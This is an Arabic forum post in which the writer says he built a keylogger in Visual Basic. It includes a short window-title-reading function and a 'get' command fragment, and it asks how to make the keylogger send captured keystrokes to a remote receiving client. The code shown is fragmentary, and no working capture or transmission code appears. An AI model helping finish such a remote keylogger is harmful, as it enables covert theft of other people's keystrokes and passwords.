بسم الله الرحمن الرحيم
انا صممت كي لوقر او قراءه المفاتيح
Function GetCaption(hwnd As Long)
Dim hWndTitle As String
hWndTitle = String(GetWindowTextLength(hwnd), 0)
GetWindowText hwnd, hWndTitle, (GetWindowTextLength(hwnd) + 1)
GetCaption = hWndTitle
End Function
وهيكون امر الاستقبال من الطرف الاخر ولنفطرد "get"
Case "get"
GetCaption = (True)
عاوز الاتصال بالكي لوقر يعني زي ما بيحصل في الكي لوقر يوصلني في الطرف الاخر الكلينت وبنفس التكست 1 يعني على text1
انا حاسس اني معرفتش اعبر
على العموم السورس كود بتاع الكي لوقر موجود بالمرفقات
واول ما بتفتح الكي لوقر بيشتغل في نفس البرنامج على تكيست واحد
انا عاوز با توضيح بالاكواد وايه الي هيتغير فيها عشان الارسال وايه الي هحطو في الطرف الاخر
طبعا الطرف الاخر فيه استقبال انا اريد فقط استقبال الكي لوقر
السورس بالمرفقات ارجو التعديل فيه بالشرح المبسط او بعض الاوامر المهمه لذلك
انا بجد حاولت كتير وضورت في المنتدا لكن ملقتش حاجا فادتني
تحياتي..........................
فؤاد سعد